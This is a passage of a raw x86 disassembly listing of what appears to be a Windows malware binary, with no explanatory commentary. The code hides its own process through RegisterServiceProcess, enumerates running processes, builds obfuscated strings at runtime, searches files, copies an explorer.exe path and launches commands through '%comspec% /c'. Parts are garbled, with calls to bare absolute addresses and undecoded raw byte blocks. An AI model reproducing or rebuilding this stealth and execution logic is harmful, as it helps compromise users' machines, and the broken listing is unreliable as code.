		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D027


loc_40CFB0:				; CODE XREF: sub_40CF60+C5j
		test	[esp+558h+var_548], 10h
		jz	short loc_40D017
		cmp	[esp+558h+var_51C], 2Eh
		jnz	short loc_40CFCA
		mov	al, [esp+558h+var_51B]
		test	al, al
		jz	short loc_40D017
		cmp	al, 2Eh
		jz	short loc_40D017


loc_40CFCA:				; CODE XREF: sub_40CF60+5Cj
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_304]
		push	eax
		push	esi
		push	offset dword_443684
		push	104h
		push	ecx
		call	edi	; _snprintf
		mov	eax, [esp+56Ch+arg_C]
		mov	ecx, [esp+56Ch+arg_8]
		lea	edx, [esp+56Ch+var_304]
		push	ebp
		push	edx
		mov	edx, [esp+574h+arg_4]
		push	eax
		mov	eax, [esp+578h+arg_0]
		push	ecx
		push	edx
		push	eax
		call	sub_402257
		add	esp, 2Ch
		mov	ebp, eax


loc_40D017:				; CODE XREF: sub_40CF60+55j
					; sub_40CF60+64j ...
		lea	ecx, [esp+558h+var_548]
		push	ecx
		push	ebx
		nop
		call	near ptr 2840000h
		test	eax, eax
		jnz	short loc_40CFB0


loc_40D027:				; CODE XREF: sub_40CF60+4Ej
		push	ebx
		nop
		call	near ptr 28302B8h
		mov	edx, [esp+558h+arg_C]
		lea	eax, [esp+558h+var_408]
		push	edx
		push	esi
		push	offset dword_443684
		push	104h
		push	eax
		call	edi	; _snprintf
		add	esp, 14h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		call	near ptr 2850000h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D0BB


loc_40D068:				; CODE XREF: sub_40CF60+159j
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_200]
		push	eax
		push	esi
		push	offset aFoundSS	; "Found: %s\\%s"
		push	200h
		push	ecx
		inc	ebp
		call	edi	; _snprintf
		mov	edx, [esp+56Ch+arg_8]
		mov	ecx, [esp+56Ch+arg_4]
		lea	eax, [esp+56Ch+var_200]
		push	edx
		mov	edx, [esp+570h+arg_0]
		push	eax
		push	ecx
		push	edx
		call	sub_401523
		add	esp, 24h
		lea	eax, [esp+558h+var_548]
		push	eax
		push	ebx
		nop
		call	near ptr 2840000h
		test	eax, eax
		jnz	short loc_40D068


loc_40D0BB:				; CODE XREF: sub_40CF60+106j
		push	ebx
		nop
		call	near ptr 28302B8h
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 548h
		retn
sub_40CF60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D130	proc near		; CODE XREF: sub_40104Bj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40D130
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	4
		push	4
		push	1
		push	13h
		lea	eax, [esp+58h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+19h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_40D130	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	13h
		lea	edx, [esp+1Ch]
		push	1
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+47h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	4
		push	1
		push	3
		push	16h
		lea	ecx, [esp+20h]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+75h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	3
		push	16h
		push	13h
		lea	eax, [esp+3Ch]
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		add	esi, 0A3h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D2E0:				; CODE XREF: ___:004013CAj
		sub	esp, 104h
		lea	eax, [esp+0]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2860AE2h
		push	eax
		call	near ptr 2860000h
		nop
		mov	eax, dword_4470B0
		test	eax, eax
		jz	loc_40D403
		mov	ecx, dword_4470AC
		test	ecx, ecx
		jz	loc_40D403
		mov	ecx, dword_446F78
		test	ecx, ecx
		jz	loc_40D403
		push	0
		push	2
		call	eax	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	dword_4470A8, eax
		jz	loc_40D403
		push	ebp
		push	offset dword_446F80
		push	eax
		xor	ebp, ebp
		mov	dword_446F80, 128h
		call	dword_4470AC	; Process32First
		test	eax, eax
		jz	loc_40D3EC
		push	ebx
		mov	ebx, [esp+110h]
		push	esi
		mov	esi, dword_50FAD4
		push	edi


loc_40D36D:				; CODE XREF: ___:0040D3E7j
		mov	edi, offset dword_446FA4
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+10h]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, offset dword_446FA4
		push	ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h]
		sub	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	offset dword_446FA4
		add	edx, ecx
		push	edx
		call	esi	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D3D3
		mov	edi, offset dword_446FA4
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset dword_446FA4
		mov	ecx, ebx
		call	sub_401681
		push	eax
		call	esi	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40D3D4


loc_40D3D3:				; CODE XREF: ___:0040D3ABj
		inc	ebp


loc_40D3D4:				; CODE XREF: ___:0040D3D1j
		mov	eax, dword_4470A8
		push	offset dword_446F80
		push	eax
		call	dword_446F78	; Process32Next
		test	eax, eax
		jnz	short loc_40D36D
		pop	edi
		pop	esi
		pop	ebx


loc_40D3EC:				; CODE XREF: ___:0040D357j
		mov	ecx, dword_4470A8
		push	ecx
		nop
		call	near ptr 2810703h
		mov	eax, ebp
		pop	ebp
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_40D403:				; CODE XREF: ___:0040D306j
					; ___:0040D314j ...
		xor	eax, eax
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D460:				; CODE XREF: ___:00401F91j
		sub	esp, 11Ch
		lea	eax, [esp+18h]
		push	ebx
		push	esi
		push	edi
		push	104h
		push	eax
		call	near ptr 2870B50h
		nop
		mov	edi, offset aExplorer_exe ; "\\explorer.exe"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+24h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		push	80h
		and	ecx, 3
		push	3
		push	eax
		push	1
		rep movsb
		mov	edi, dword_50F8E8
		lea	eax, [esp+38h]
		push	80000000h
		push	eax
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D526
		lea	ecx, [esp+1Ch]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+18h]
		push	edx
		push	eax
		push	esi
		nop
		call	near ptr 2870703h
		mov	ebx, dword_50F8D8
		push	esi
		call	ebx
		mov	ecx, [esp+12Ch]
		push	0
		push	80h
		push	3
		push	0
		push	2
		push	40000000h
		push	ecx
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D526
		lea	edx, [esp+1Ch]
		lea	eax, [esp+0Ch]
		push	edx
		lea	ecx, [esp+18h]
		push	eax
		push	ecx
		push	esi
		call	near ptr 2870000h
		nop
		push	esi
		call	ebx


loc_40D526:				; CODE XREF: ___:0040D4C9j
					; ___:0040D50Bj
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 11Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D580	proc near		; CODE XREF: sub_401B59j

var_19C		= byte ptr -19Ch
var_184		= byte ptr -184h
var_16C		= byte ptr -16Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40D580
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 190h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_401424
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_16C]
		mov	[esp+1B0h+var_4], 0
		call	sub_401C5D
		push	eax
		call	near ptr 27D0000h
		nop
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+4]
		call	sub_4015D7
		lea	ecx, [esp+1A8h+var_184]
		call	sub_401424
		mov	ebx, 1
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_184]
		mov	byte ptr [esp+1B0h+var_4], bl
		call	sub_401C5D
		push	eax
		push	0
		nop
		call	near ptr 2860AE2h
		push	eax
		nop
		call	near ptr 2860000h
		push	offset aKernel32_dll_0 ; "kernel32.dll"
		nop
		call	near ptr 27B0922h
		mov	esi, eax
		test	esi, esi
		jz	short loc_40D671
		mov	edi, dword_50F8A0
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	esi
		call	edi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	esi
		mov	dword_4470B4, eax
		call	edi
		push	offset aProcess32first ; "Process32First"
		push	esi
		mov	dword_4470B0, eax
		call	edi
		push	offset aProcess32next ;	"Process32Next"
		push	esi
		mov	dword_4470AC, eax
		call	edi
		mov	dword_446F78, eax
		mov	eax, dword_4470B4
		test	eax, eax
		jz	short loc_40D671
		push	ebx
		push	0
		call	eax


loc_40D671:				; CODE XREF: sub_40D580+A7j
					; sub_40D580+EAj
		mov	esi, [esp+1A8h+arg_0]
		push	0
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+1B0h+var_184]
		call	sub_402117
		test	eax, eax
		jnz	short loc_40D6A8
		mov	al, byte_44719F
		test	al, al
		jz	short loc_40D6A8
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40D6A8:				; CODE XREF: sub_40D580+10Dj
					; sub_40D580+116j
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	12h
		push	10h
		push	10h
		push	0Eh
		push	9
		lea	eax, [esp+1D8h+var_19C]
		push	17h
		push	eax
		call	sub_4019B5
		add	esp, 38h
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 2
		call	sub_4017E4
		push	eax
		call	sub_4015FA
sub_40D580	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	0Fh
		push	8
		push	0Ch
		push	0Ch
		lea	ecx, [esp+38h]
		push	4
		push	ecx
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 3
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	4
		push	10h
		push	14h
		push	6
		lea	edx, [esp+30h]
		push	14h
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 4
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	ebx
		push	0Ch
		push	2
		push	13h
		lea	eax, [esp+38h]
		push	0Dh
		push	eax
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 5
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	13h
		push	9
		push	0Eh
		push	5
		lea	ecx, [esp+38h]
		push	10h
		push	ecx
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 6
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	8
		push	3
		push	14h
		push	ebx
		push	10h
		push	13h
		lea	edx, [esp+38h]
		push	0Dh
		push	edx
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 7
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		db 83h
		dd 4C8D04C4h, 9C880C24h, 1A424h, 39B4E800h, 448DFFFFh
		dd 6A3C24h, 244C8D50h, 3F85E82Ch, 0C085FFFFh, 116850Fh
		dd 8B550000h, 3F52E8CEh, 6A50FFFFh, 244C8D5Ch, 3F46E848h
		dd 8D50FFFFh, 0A8248Ch,	38680000h, 5100443Bh, 2723E890h
		dd 3D8B001Eh, 50F8A4h, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah
		dd 8B30244Ch, 3DAFE8E8h, 358BFFFFh, 50F90Ch, 85D6FF50h
		dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 90000007h
		dd 3F454AE8h, 24848D02h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3D79h
		dd 85D6FF50h, 0A0D074C0h, 4477FBh, 74C0845Dh, 0CC358B39h
		dd 680050FAh, 104h, 9C248C8Dh, 68000000h, 443B30h, 83D6FF51h
		dd 4C8D0CC4h, 4682424h,	0E8000001h, 0FFFF3EA0h,	9C24948Dh
		dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h
		dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h
		dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah
		dd 447C24h, 5DE80000h, 90023C2Bh, 874C085h, 0E890006Ah
		dd 7782C4DEh, 24244C8Dh, 0A42484C6h, 1,	0FF3875E8h, 244C8DFFh
		dd 2484C73Ch, 1A4h, 0FFFFFFFFh,	0FF3861E8h, 248C8BFFh
		dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0
; ---------------------------------------------------------------------------
		add	esp, 19Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DB10	proc near		; CODE XREF: sub_401195j
		mov	al, byte_4471A1
		test	al, al
		jz	short loc_40DB24
		push	offset word_4471A2
		nop
		call	near ptr 27C0942h


loc_40DB24:				; CODE XREF: sub_40DB10+7j
		mov	al, 1
		retn
sub_40DB10	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DB40	proc near		; CODE XREF: sub_401E5Bj

var_6D0		= dword	ptr -6D0h
var_6CC		= dword	ptr -6CCh
var_6C8		= dword	ptr -6C8h
var_6C4		= dword	ptr -6C4h
var_6C0		= dword	ptr -6C0h
var_6BC		= dword	ptr -6BCh
var_6B8		= dword	ptr -6B8h
var_6B4		= dword	ptr -6B4h
var_6B0		= byte ptr -6B0h
var_6AC		= byte ptr -6ACh
var_694		= byte ptr -694h
var_67C		= byte ptr -67Ch
var_664		= byte ptr -664h
var_64C		= byte ptr -64Ch
var_634		= byte ptr -634h
var_61C		= byte ptr -61Ch
var_604		= byte ptr -604h
var_5EC		= byte ptr -5ECh
var_5D4		= byte ptr -5D4h
var_5BC		= byte ptr -5BCh
var_5A4		= byte ptr -5A4h
var_58C		= byte ptr -58Ch
var_574		= byte ptr -574h
var_564		= dword	ptr -564h
var_534		= word ptr -534h
var_520		= byte ptr -520h
var_41C		= byte ptr -41Ch
var_318		= byte ptr -318h
var_214		= byte ptr -214h
var_110		= byte ptr -110h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40DB40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 6C4h
		push	esi
		lea	eax, [esp+6D4h+var_41C]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2860AE2h
		push	eax
		nop
		call	near ptr 2860000h
		lea	ecx, [esp+6D4h+var_318]
		push	ecx
		push	104h
		call	near ptr 27A0000h
		nop
		push	0
		push	14h
		push	1
		push	2
		push	4Fh
		push	0Fh
		push	12h
		push	6
		lea	edx, [esp+6F4h+var_5EC]
		push	1
		push	edx
		call	sub_4019B5
		add	esp, 28h
		mov	ecx, eax
		mov	[esp+6D4h+var_4], 0
		call	sub_4017E4
		push	eax
		lea	eax, [esp+6D8h+var_318]
		push	eax
		lea	ecx, [esp+6DCh+var_520]
		push	offset dword_443684
		push	ecx
		call	sub_5EFFD5
		nop
		add	esp, 10h
		lea	ecx, [esp+6D4h+var_5EC]
		mov	[esp+6D4h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0
		push	2
		push	0
		push	0
		lea	edx, [esp+6E8h+var_520]
		push	40000000h
		push	edx
		call	near ptr 2830000h
		nop
		mov	esi, eax
		test	esi, esi
		jbe	loc_40E0A1
		push	ebx
		push	ebp
		push	edi
		lea	ecx, [esp+6E0h+var_6AC]
		call	sub_401424
		push	0
		push	14h
		push	1
		push	2
		lea	eax, [esp+6F0h+var_604]
		push	4Fh
		push	eax
		mov	[esp+6F8h+var_4], 1
		call	sub_4019B5
		add	esp, 18h
		mov	edi, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+708h+var_634]
		push	4
		push	ecx
		mov	byte ptr [esp+710h+var_4], 2
		call	sub_4019B5
		add	esp, 30h
		mov	ebp, eax
		push	0
		push	14h
		push	1
		push	2
		lea	edx, [esp+6F0h+var_664]
		push	4Fh
		push	edx
		mov	byte ptr [esp+6F8h+var_4], 3
		call	sub_4019B5
		add	esp, 18h
		mov	ebx, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+714h+var_67C]
		push	4
		push	eax
		mov	byte ptr [esp+71Ch+var_4], 4
		call	sub_4019B5
		add	esp, 3Ch
		mov	[esp+6E0h+var_6B4], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		lea	ecx, [esp+6F4h+var_61C]
		push	53h
		push	ecx
		mov	byte ptr [esp+6FCh+var_4], 5
		call	sub_4019B5
		add	esp, 1Ch
		mov	[esp+6E0h+var_6C8], eax
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		lea	edx, [esp+708h+var_5D4]
		push	7
		push	edx
		mov	byte ptr [esp+710h+var_4], 6
		call	sub_4019B5
		add	esp, 30h
		mov	[esp+6E0h+var_6B8], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+708h+var_5A4]
		push	4
		push	eax
		mov	byte ptr [esp+710h+var_4], 7
		call	sub_4019B5
		add	esp, 30h
		mov	[esp+6E0h+var_6C0], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+714h+var_58C]
		push	4
		push	ecx
		mov	byte ptr [esp+71Ch+var_4], 8
		call	sub_4019B5
		add	esp, 3Ch
		mov	[esp+6E0h+var_6D0], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		push	7
		push	4Eh
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	14h
		push	13h
		push	9
		mov	byte ptr [esp+734h+var_4], 9
		push	18h
		push	5
		push	4Eh
		push	14h
		push	0Fh
		push	0Eh
		push	4Eh
		push	6
		lea	edx, [esp+754h+var_694]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 7Ch
		mov	[esp+6E0h+var_6CC], eax
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		lea	eax, [esp+6F8h+var_5BC]
		push	53h
		push	eax
		mov	byte ptr [esp+700h+var_4], 0Ah
		call	sub_4019B5
		add	esp, 20h
		mov	[esp+6E0h+var_6C4], eax
		push	0
		push	6
		push	6
		push	0Fh
		push	4Eh
		push	0Fh
		push	8
		push	3
		push	5
		lea	ecx, [esp+704h+var_64C]
		push	56h
		push	ecx
		mov	byte ptr [esp+70Ch+var_4], 0Bh
		call	sub_4019B5
		add	esp, 2Ch
		mov	[esp+6E0h+var_6BC], eax
		mov	ecx, edi
		mov	byte ptr [esp+6E0h+var_4], 0Ch
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		mov	ecx, [esp+6E8h+var_6B4]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6ECh+var_6C8]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6F0h+var_6B8]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6F4h+var_6C0]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6F8h+var_6D0]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6FCh+var_6CC]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+700h+var_6C4]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+704h+var_6BC]
		push	eax
		call	sub_4017E4
		push	eax
		push	offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n"
		lea	edx, [esp+710h+var_6AC]
		push	edx
		call	sub_40102D
		add	esp, 34h
		lea	ecx, [esp+6E0h+var_64C]
		mov	byte ptr [esp+6E0h+var_4], 0Bh
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5BC]
		mov	byte ptr [esp+6E0h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+6E0h+var_694]
		mov	byte ptr [esp+6E0h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+6E0h+var_58C]
		mov	byte ptr [esp+6E0h+var_4], 8
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5A4]
		mov	byte ptr [esp+6E0h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5D4]
		mov	byte ptr [esp+6E0h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+6E0h+var_61C]
		mov	byte ptr [esp+6E0h+var_4], 5
		call	sub_401226
		lea	ecx, [esp+6E0h+var_67C]
		mov	byte ptr [esp+6E0h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+6E0h+var_664]
		mov	byte ptr [esp+6E0h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+6E0h+var_634]
		mov	byte ptr [esp+6E0h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+6E0h+var_604]
		mov	byte ptr [esp+6E0h+var_4], 1
		call	sub_401226
		lea	eax, [esp+6E0h+var_6B0]
		push	0
		push	eax
		push	69h
		lea	ecx, [esp+6ECh+var_6AC]
		call	sub_4017E4
		push	eax
		push	esi
		call	near ptr 27B0000h
		nop
		push	esi
		nop
		call	near ptr 2810703h
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+6E0h+var_564]
		push	104h
		rep stosd
		lea	ecx, [esp+6E4h+var_41C]
		mov	[esp+6E4h+var_564], 44h
		push	ecx
		push	eax
		mov	[esp+6ECh+var_534], ax
		call	near ptr 2860AE2h
		nop
		push	eax
		call	near ptr 2860000h
		nop
		lea	edx, [esp+6E0h+var_41C]
		lea	eax, [esp+6E0h+var_520]
		push	edx
		push	eax
		lea	ecx, [esp+6E8h+var_214]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	ecx
		nop
		call	sub_5EFFD5
		add	esp, 10h
		lea	edx, [esp+6E0h+var_110]
		lea	eax, [esp+6E0h+var_214]
		push	104h
		push	edx
		push	eax
		call	near ptr 27E0000h
		nop
		lea	ecx, [esp+6E0h+var_574]
		lea	edx, [esp+6E0h+var_564]
		push	ecx
		push	edx
		push	0
		push	0
		push	28h
		push	1
		push	0
		lea	eax, [esp+6FCh+var_110]
		push	0
		push	eax
		push	0
		call	near ptr 27D04F0h
		nop
		lea	ecx, [esp+6E0h+var_6AC]
		mov	[esp+6E0h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	ebp
		pop	ebx
		mov	al, 1
		pop	esi
		mov	ecx, [esp+6D0h+var_C]
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
; ---------------------------------------------------------------------------


loc_40E0A1:				; CODE XREF: sub_40DB40+D6j
		mov	ecx, [esp+6D4h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
sub_40DB40	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E220	proc near		; CODE XREF: sub_401726j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40E220
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_54]
		call	sub_401424
		lea	ecx, [esp+80h+var_6C]
		mov	[esp+80h+var_4], 0
		call	sub_401424
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401424
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019B5
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
